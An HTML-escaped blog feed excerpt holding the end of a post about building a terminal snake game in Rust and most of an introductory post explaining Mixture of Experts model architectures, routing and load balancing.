&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y: (snake[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;].y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; direction.y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; height) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; height,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check collision with self
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; snake.contains(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;new_head) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    snake.insert(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, new_head);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Check if snake ate food
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; snake[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; food {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Generate new food
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; new_food &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Point {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                x: &lt;span style=&#34;color:#eed49f&#34;&gt;rng&lt;/span&gt;.gen_range(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;width),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                y: &lt;span style=&#34;color:#eed49f&#34;&gt;rng&lt;/span&gt;.gen_range(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;..&lt;/span&gt;height),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt;snake.contains(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;new_food) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                food &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; new_food;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    } &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        snake.pop();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Feel free to clone, fork, or contribute to the repository!&lt;/p&gt;
&lt;h4 id=&#34;41-running-the-game&#34;&gt;4.1 Running the Game&lt;/h4&gt;
&lt;p&gt;To run this on Windows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Install Rust with &lt;code&gt;rustup&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Add dependencies to &lt;code&gt;Cargo.toml&lt;/code&gt;:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-toml&#34; data-lang=&#34;toml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[dependencies]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crossterm = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;0.27&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rand = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;0.8&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Build and run the project:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cargo run&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Compile the project:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cargo build --release&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;42-controls&#34;&gt;4.2 Controls&lt;/h4&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Key&lt;/th&gt;
          &lt;th&gt;Action&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;Arrow Keys&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Move the snake&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;+&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Increase game speed&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;-&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Decrease game speed&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;Spacebar&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Pause/Resume the game&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;q&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Quit the game&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id=&#34;43-gameplay&#34;&gt;4.3 Gameplay&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Select the &lt;strong&gt;boundary size&lt;/strong&gt; and &lt;strong&gt;difficulty&lt;/strong&gt; from the menu.&lt;/li&gt;
&lt;li&gt;Use arrow keys to move the snake.&lt;/li&gt;
&lt;li&gt;Eat the red food (&lt;code&gt;■&lt;/code&gt;) to grow your snake and increase your score.&lt;/li&gt;
&lt;li&gt;Avoid hitting the walls (&lt;code&gt;#&lt;/code&gt;) or yourself!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/rusty2.jpg&#34; alt=&#34;Screen Play Example&#34;/&gt;
        &lt;figcaption&gt;Snake Game&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;5-learnings&#34;&gt;5. Learnings&lt;/h3&gt;
&lt;p&gt;I encountered a few things while learning Rust through this snake game project. These are called out below. As with anything else, where things are different, one must forget what one knows and learn the new way of doing things.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ownership model&lt;/strong&gt;: Coming from C/C++, adjusting to Rust&amp;rsquo;s strict borrowing rules required a shift in thinking&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Terminal UI limitations&lt;/strong&gt;: Working with crossterm&amp;rsquo;s terminal interface meant designing around ASCII graphics&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Game loop timing&lt;/strong&gt;: Balancing responsiveness with performance required careful tuning&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error propagation&lt;/strong&gt;: Learning to use the &lt;code&gt;?&lt;/code&gt; operator and &lt;code&gt;Result&lt;/code&gt; types effectively took practice&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Understanding these differences was part of the learning process and helped solidify some of my understanding of Rust&amp;rsquo;s principles.&lt;/p&gt;
&lt;h4 id=&#34;51-reflecting-on-rust&#34;&gt;5.1 Reflecting on Rust&lt;/h4&gt;
&lt;p&gt;Building this game helped me appreciate Rust’s features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Memory Safety&lt;/strong&gt;: Rust eliminates segmentation faults common in C and C++.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expressive Syntax&lt;/strong&gt;: Iterators, pattern matching, and traits make Rust elegant and powerful.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Community and Ecosystem&lt;/strong&gt;: Libraries like &lt;code&gt;crossterm&lt;/code&gt; and &lt;code&gt;rand&lt;/code&gt; accelerate development.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;52-acknowledgment&#34;&gt;5.2 Acknowledgment&lt;/h4&gt;
&lt;p&gt;Throughout this journey, I used the assistance of LLMs to clarify Rust concepts and draw parallels to languages I already know. This collaborative approach made learning smoother and deepened my understanding by offering different perspectives. The combination of hands-on learning and real-time assistance has been invaluable. &lt;/p&gt;
&lt;h3 id=&#34;6-final-thoughts&#34;&gt;6 Final Thoughts&lt;/h3&gt;
&lt;p&gt;Rust might feel different initially if you&amp;rsquo;re from a C or C++ background, but its safety guarantees and modern features make it worthwhile. Building a snake game is just one of many ways to start.&lt;/p&gt;
&lt;p&gt;What will you build next? 📎&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>An introduction to Mixture of Experts (MoE)</title>
      <link>/post/2025/01/intro-to-mixture-of-experts/</link>
      <pubDate>Wed, 01 Jan 2025 00:00:00 +0000</pubDate>
      
      <guid>/post/2025/01/intro-to-mixture-of-experts/</guid>
      <description>&lt;p&gt;AI is advancing at an unprecedented pace, with Mixture of Experts (MoE) models being one set of model architectures at the forefront of this revolution. These architectures enable breakthroughs in efficiency and scalability by leveraging a modular design where only a subset of specialized &amp;ldquo;expert&amp;rdquo; networks are activated for each input. MoE architectures have become a cornerstone in building ultra-large-scale models like GLaM and Switch Transformers.&lt;/p&gt;
&lt;p&gt;Mixture of Experts (MoE) is an advanced machine learning architecture that lately has gained significance, particularly in the realm of #LLMs (large language models) and NNs (neural networks). In talking with many people about AI, I&amp;rsquo;ve found that MoE as a topic comes up often, with many folks either not understanding what it is or their understanding of it being incorrect.&lt;/p&gt;
&lt;p&gt;With recent announcements of trillion-parameter models and announcements from Microsoft, OpenAI, and Google, understanding MoEs is more important than ever. More recently, &lt;a
	
		href = &#34;https://huggingface.co/deepseek-ai/DeepSeek-V3&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		DeepSeek v3
	&lt;/span&gt;
&lt;/a&gt; is a great example of a model that uses MoEs to achieve state-of-the-art performance - where the language model has 671B total but only 37B activated for each token.&lt;/p&gt;
&lt;p&gt;I this post I provide a high-level overview of MoEs, their core components, how they work and workflow. I also includes a simple toy example implementation to help grasp the core concepts.&lt;/p&gt;
&lt;h3 id=&#34;why-mixture-of-experts&#34;&gt;Why Mixture of Experts?&lt;/h3&gt;
&lt;p&gt;The central motivation behind MoE stems from the tension between growing model size and limiting computational resources. As we have seen in the recent past, increasing the parameter count of a model often yields better performance, especially in domains like natural language processing (NLP) and computer vision; however, this also drastically increases the cost of both training these models and computing cost for inference of these models. This massive computing cost is at the heart of what MoEs are addressing by offering a different paradigm known as conditional computation. MoE&amp;rsquo;s activate only a small subset of specialized sub-networks (called experts) for each input or token) only to a small number of experts rather than processing it through every parameter in the network. This helps with three key aspects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Increased Model Capacity&lt;/strong&gt;: Because only a few experts are activated at a time, MoE architectures can pack many parameters (experts) without proportionally increasing the computational cost per input.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Specialized Sub-networks&lt;/strong&gt;: Different experts can learn specific patterns or token-level specializations, leading to better performance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Efficient Usage of Compute&lt;/strong&gt;: MoE optimizes resources (compute) by activating only a small fraction of the entire model, leading to significant efficiency gains.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This sparse activation strategy enables constructing models with billions (or even trillions) of parameters, making MoE a scalable solution for large-scale applications. Another benefit of MoE is its capacity for specialization. Different experts can learn distinct, context-dependent processing strategies, enabling the model to cover a broad set of input variations more effectively than a monolithic architecture.&lt;/p&gt;
&lt;p&gt;Early MoE ideas trace back to model ensembling in classic machine learning. Still, MoE extends beyond ensembling by learning a parametric “router” (gating function) that dynamically decides which experts to use. Notable works like the Sparsely-Gated Mixture of Experts showed that MoE could massively scale model size while staying computationally efficient.&lt;/p&gt;
&lt;h3 id=&#34;core-components-of-an-moe-system&#34;&gt;Core Components of an MoE System&lt;/h3&gt;
&lt;p&gt;The fundamental building blocks of an MoE system are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Experts&lt;/strong&gt;: Specialized sub-models, typically feed-forward neural networks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Router&lt;/strong&gt; or &lt;strong&gt;Gating Network&lt;/strong&gt;: Determines which tokens are sent to which experts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Combiner&lt;/strong&gt;: Aggregates the outputs from the selected experts.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;experts&#34;&gt;Experts&lt;/h4&gt;
&lt;p&gt;Each expert is typically a neural sub-network replicated multiple times within the same model. Depending on the task, these experts are often implemented as independent feed-forward networks, MLP blocks, or convolutional layers. For large-scale language models, each expert usually mirrors the structure of the feed-forward component of a Transformer block.&lt;/p&gt;
&lt;p&gt;Since multiple experts exist in parallel, each can potentially learn to handle different token types or data distributions. Contrary to common misconceptions, experts do not necessarily correspond to human-like semantic domains (e.g., “Expert #3 = Physics”). One might assume that certain experts correspond to high-level domains such as &amp;ldquo;finance&amp;rdquo; or &amp;ldquo;medicine.&amp;rdquo; Still, it is more common for the learned expertise to be more subtle and token-level, capturing idiosyncratic patterns that are not necessarily interpretable in a straightforward semantic way. Each expert ends up specializing in token-level or feature-level patterns that are discovered during training. For instance, in NLP, one expert might specialize in syntactic structures, while another focuses on semantic relationships.&lt;/p&gt;
&lt;p&gt;Sometimes, certain layers (like embeddings or attention blocks) are shared among all experts, and only feed-forward layers are duplicated (as in Switch Transformers).
This partial sharing allows the model to keep some global representation while still having specialized processing in the experts.&lt;/p&gt;
&lt;h4 id=&#34;router&#34;&gt;Router&lt;/h4&gt;
&lt;p&gt;The router, often called the gating network, is a small module that predicts which experts should handle any given input. Its purpose is to determine which experts should handle a given input. Modern MoE designs are typically parameterized as a simple neural network (often a single linear layer + SoftMax) or a simple linear transform. The SoftMax output provides a probability distribution across the experts, indicating which should be &amp;ldquo;activated&amp;rdquo; for each input.&lt;/p&gt;
&lt;p&gt;The router reads the input representation (e.g., the token embedding in an NLP model) and produces a probability distribution over the experts, typically with a SoftMax function. We then select the top-k experts (e.g., top-1, top-2) based on these probabilities - for each token, known as &lt;strong&gt;Top-k gating&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Practical implementations often limit the number of tokens an expert can process per batch (known as Expert Capacity). If too many tokens route to the same expert, some tokens may get dropped or rerouted, leading to training instability. This capacity limit helps prevent any single expert from monopolizing the model&amp;rsquo;s processing and prevents load imbalances.&lt;/p&gt;
&lt;p&gt;The gating network is trained jointly with the experts through back-propagation. As we outlined above, the gating process introduces discrete decisions into the computational graph, which can hamper backpropagation. To help counter this, additional techniques such as adding a small amount of noise to the logits (&lt;strong&gt;Noisy Top-k Gating&lt;/strong&gt;) or using Soft MoE — are employed to smooth out these discrete selections, keep training stable, help provide smoother gradients, and encourage balanced expert utilization. Additional mechanisms like Expert Capacity limit how many tokens each expert can process, preventing load imbalances in which a single expert might receive most tokens.&lt;/p&gt;
&lt;h4 id=&#34;combiner&#34;&gt;Combiner&lt;/h4&gt;
&lt;p&gt;Once the chosen experts have computed their outputs for a given token, these outputs must be aggregated to produce a single vector that feeds into subsequent layers. The MoE architecture achieves this through a combiner, which typically performs a weighted sum of the experts&amp;rsquo; outputs, using the gating probabilities as weights. In &lt;strong&gt;top-k gating&lt;/strong&gt;, if $ k $ experts were activated, each expert’s output is multiplied by its corresponding probability from the router. The combiner then sums or otherwise fuses the results to form the token’s transformed representation. This consolidated output is passed into the rest of the model, such as attention blocks or additional Transformer layers.&lt;/p&gt;
&lt;p&gt;In “Soft MoE” variants, we might use a soft combination, letting tokens pass to all experts but with different fractional weights—alleviating some routing discontinuities at the cost of higher computation.&lt;/p&gt;
&lt;h3 id=&#34;high-level-workflow&#34;&gt;High-Level Workflow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Input is fed into the &lt;em&gt;gating network&lt;/em&gt;, which produces a probability distribution (or &lt;em&gt;scores&lt;/em&gt;) over experts.&lt;/li&gt;
&lt;li&gt;The &lt;em&gt;top-k&lt;/em&gt; experts are &lt;em&gt;activated&lt;/em&gt; for each input (or token, in the case of language models).&lt;/li&gt;
&lt;li&gt;The selected experts &lt;em&gt;process the input&lt;/em&gt; in parallel.&lt;/li&gt;
&lt;li&gt;A combiner fuses the experts’ outputs into a single vector.&lt;/li&gt;
&lt;li&gt;The model produces the &lt;em&gt;final&lt;/em&gt; output, which can then feed into other layers or tasks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Below is a simple flow diagram that shows how to visualize this:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;flowchart TD
    Input_Tokens --&amp;gt; Gating_Network
    Gating_Network --&amp;gt; Expert_1
    Gating_Network --&amp;gt; Expert_2
    Gating_Network --&amp;gt; Expert_3
    Expert_2 --&amp;gt; Combiner
    Expert_3 --&amp;gt; Combiner
    Combiner --&amp;gt; Final_Output
&lt;/pre&gt;
&lt;p&gt;The MoE module often appears in LLMs where a standard feed-forward layer normally would reside. For &lt;strong&gt;each layer&lt;/strong&gt; designated as an MoE, the process begins by sending the hidden representations of each token to the router. The router computes gating probabilities across all experts, ranks the experts by these probabilities, and picks the top few. Each selected expert applies its transformation to the token&amp;rsquo;s hidden state. Finally, the combiner merges these expert outputs with a weighted sum.&lt;/p&gt;
&lt;p&gt;During training, the experts and the router are updated jointly through backpropagation. However, discrete gating can make gradient flow tricky since the top-k selection is not inherently differentiable. In practice, noise injection (Noisy Top-k Gating) or methods like Soft MoE can help approximate continuous gradients, ensuring that even experts with lower gating probabilities receive occasional training signals.&lt;/p&gt;
&lt;p&gt;In addition, to avoid a scenario where one or two experts monopolize all tokens, an auxiliary load-balancing loss is often introduced to encourage more uniform usage. This might take the form of a penalty term that grows when the variance in expert usage is high, incentivizing the router to distribute tokens more evenly.&lt;/p&gt;
&lt;p&gt;This mechanism occurs for every token in every layer designated as an MoE layer, which is why load balancing is so critical—without careful design, certain experts can receive far more tokens than others.&lt;/p&gt;
&lt;h3 id=&#34;what-is-the-difference-between-an-moe-and-an-ensemble&#34;&gt;What is the Difference between an MoE and an Ensemble?&lt;/h3&gt;
&lt;p&gt;It’s easy to confuse MoE with model ensembling - where multiple independently trained models vote or average predictions. MoE differs in a few critical ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dynamic and data-dependent routing: In classical ensembles, each model sees the same input, and a meta-learner or a simple average produces the final result. MoE, in contrast, uses a router that decides different subsets of the input for each expert. This dynamic routing allows MoE to specialize in different patterns or tokens.&lt;/li&gt;
&lt;li&gt;Single model training: MoE typically trains all experts jointly in one go. Each expert does not have a separate training pass; they’re part of the same computation graph, sharing some parameters (like embeddings) and learning together. This is in contrast to ensembles, where each model is trained independently.&lt;/li&gt;
&lt;li&gt;Fine-grained token specialization: Different tokens in the same sentence might get routed to different experts, enabling extremely fine-grained specialization. This is impossible in a traditional ensemble, where each model sees the entire input.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;load-balancing-experts-and-training-pitfalls&#34;&gt;Load Balancing Experts and Training Pitfalls&lt;/h3&gt;
&lt;p&gt;A significant challenge in training MoE models is ensuring the balanced utilization of experts. Certain experts may become overburdened without proper load balancing, while others remain underutilized, leading to inefficient training and suboptimal performance. Gating can become highly imbalanced early in training, favoring a few experts. Common solutions for Load Balancing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Auxiliary Load Balancing Losses: Adding a regularization term to the loss function encourages the gating network to distribute inputs evenly across all experts.&lt;/li&gt;
&lt;li&gt;Top-k Randomization: Instead of always selecting the top-k experts with the highest gating probabilities, randomizing the selection among the top candidates can prevent overloading.&lt;/li&gt;
&lt;li&gt;Expert Capacity Constraints: Limiting the number of tokens an expert can process at a time can help ensure all experts are used during training.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Over time, load-balancing losses/techniques help the distribution even out, but the model can remain fragile without careful hyperparameter tuning. Expert capacity is another important design choice. Since top-k selection may route too many tokens to the most popular experts, a capacity limit ensures each expert processes no more than a certain maximum number of tokens in one forward pass. The remaining tokens must be dropped or re-routed to other experts if an expert is at capacity. Both approaches come with trade-offs: dropping tokens entirely can lead to data inefficiency, whereas re-routing can add complexity and undermine the sparsity benefits that MoE aims to provide.&lt;/p&gt;
&lt;p&gt;Load balancing - ensuring experts share the training load - remains one of the &lt;em&gt;biggest technical hurdles&lt;/em&gt; with MoEs. Early in training, the gating network might discover that routing most tokens to the same expert (or a small number) might yield acceptable results, leaving other experts underutilized and effectively “dead.” This imbalance leads to suboptimal solutions - if only a few experts get trained on all tokens, you lose the advantages of specialization.&lt;/p&gt;
&lt;p&gt;To mitigate this, MoE architectures often introduce additional techniques that nudge the model toward more even usage. One such technique is the auxiliary load-balancing loss. By monitoring how frequently each expert is selected, the model can be penalized if certain experts remain underutilized.  This can be thought of as an additional penalty term that measures how evenly tokens (or batches) are distributed across experts.&lt;/p&gt;
&lt;p&gt;Another common approach is &lt;strong&gt;Noisy Top-k Gating&lt;/strong&gt;, which injects a small amount of learnable or fixed noise into the gating logits before the softmax, making the gating probabilities slightly more random. This randomness allows less-popular experts to occasionally receive tokens, which can help them develop more useful specializations over time. The gating network thus learns not only to minimize the primary task loss but also to spread tokens more uniformly.&lt;/p&gt;
&lt;h4 id=&#34;sparsity-in-mixture-of-experts-moe-models&#34;&gt;Sparsity in Mixture of Experts (MoE) Models&lt;/h4&gt;
&lt;p&gt;Sparsity is one of MoE’s most valuable contributions to model efficiency. By only activating a small fraction of the total parameters for each input, the model maintains a much lower compute footprint than a dense model of the same overall size. This efficiency is crucial for scaling; while a trillion-parameter dense model may be prohibitively expensive to train and deploy, a trillion-parameter MoE model that only activates 1% of those parameters simultaneously becomes significantly more tractable.&lt;/p&gt;
&lt;p&gt;That said, implementing sparsity at scale often requires specialized infrastructure. Frameworks like &lt;code&gt;GShard&lt;/code&gt; or &lt;code&gt;Mesh-TensorFlow&lt;/code&gt; are designed to handle data and model parallelism necessary for distributing the experts across GPU clusters. The overhead of routing tokens to the correct devices can become significant if the system is not carefully optimized. Researchers have also explored alternative gating mechanisms, such as Soft MoE, which approximates selection by routing every token to all experts in a soft, weighted fashion. While this approach can mitigate the fragility of discrete gates, it naturally increases computation since more experts perform computations at once.&lt;/p&gt;
&lt;p&gt;Sparcity in MoE models offers several key advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Computational Efficiency: Sparsity dramatically reduces the number of FLOPs required to process each task.&lt;/li&gt;
&lt;li&gt;Scalability: The sparse activation of experts enables MoE models to scale to a large number of experts without a corresponding linear increase in computational and memory requirements.&lt;/li&gt;
&lt;li&gt;Increased Model Capacity: Sparsity allows MoE models to increase their overall parameter count and model capacity without significantly increasing the computational cost during training or inference.&lt;/li&gt;
&lt;li&gt;Memory Efficiency: Operating sparsely, MoE models require less memory for activations and parameters.&lt;/li&gt;
&lt;li&gt;Specialized Processing: Sparsity enables the model to route different inputs to the most relevant experts, allowing for more specialized and efficient processing of diverse inputs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;practical-applications-of-moe&#34;&gt;Practical applications of MoE&lt;/h3&gt;
&lt;p&gt;MoE architectures have already demonstrated clear benefits in many areas. Microsoft’s Z-code model (Machine Translation), for instance, leverages MoE to handle multilingual translation tasks at a massive scale, and Google’s Switch Transformers showed that sparse activation can reach higher quality at lower training cost than dense baselines on benchmarks such as GLUE and SuperGLUE. In computer vision, MoE modules have been integrated into Vision Transformers (V-MoEs) to achieve better image classification and detection accuracy, with each expert focusing on different aspects of the image representation. In multimodal learning, the capacity to handle diverse data types—such as text, images, and audio—makes MoE a natural fit because experts can adapt to different modalities or different subproblems within a single modality.&lt;/p&gt;
&lt;p&gt;In the context of LLMs, systems like ChatGPT, Claude, and Gemini can benefit from MoE by leveraging different experts for different topics or query types - though specifics are often proprietary and not shared. MoE is particularly suited to multi-modal tasks involving text, images, and audio, as experts can specialize in different modalities or sub-modalities. This is valuable for text-to-image generation or video understanding.&lt;/p&gt;
&lt;p&gt;Several emerging directions continue to push MoE research forward. Soft MoE (Zuo et al., 2022) is an example aiming to produce a fully differentiable version of sparsely gated Transformers. Another is Parameter-Efficient Sparsity Crafting (PESC), which seeks to retrofit existing dense models into a sparse MoE design without retraining from scratch. These innovations reflect ongoing efforts to refine the balance between sparse efficiency, training stability, and model reliability.&lt;/p&gt;
